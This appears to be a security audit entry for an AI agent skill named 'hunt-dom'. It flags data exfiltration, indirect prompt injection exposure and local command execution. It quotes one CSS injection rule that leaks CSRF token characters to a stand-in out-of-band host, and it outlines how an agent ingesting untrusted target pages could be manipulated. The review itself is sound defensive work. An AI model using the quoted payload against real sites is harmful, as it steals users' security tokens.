The Agent Skills Directory

[DATA_EXFILTRATION]: The skill provides detailed instructions and code snippets for exfiltrating data from targets. Specifically, it describes a CSS injection technique to leak sensitive attribute values (like CSRF tokens) char-by-char to an external Out-of-Band (OOB) host.
Evidence: input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); } and instructions to use a Collaborator/request-bin for capturing data hits.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from target web applications, creating a vulnerability surface for indirect injection attacks.
Ingestion points: Targeted fetching of external web content via curl and analysis of local reconnaissance files (recon/$TARGET/).
Boundary markers: Includes a mandatory confirmation gate instructing the agent to wait for user approval, but does not specify data-level sanitization or delimiters for the ingested content.
Capability inventory: File system read/write (via grep and redirection), network operations (curl), and local script execution (python, javascript).
Sanitization: No explicit sanitization or filtering of the content retrieved from target domains is described.
[COMMAND_EXECUTION]: The skill includes shell commands and a Python script designed to be executed locally by the agent to perform reconnaissance and generate attack payloads.
Evidence: Shell commands using curl and grep to probe targets, and a Python script for generating CSS exfiltration character sets.

hunt-dom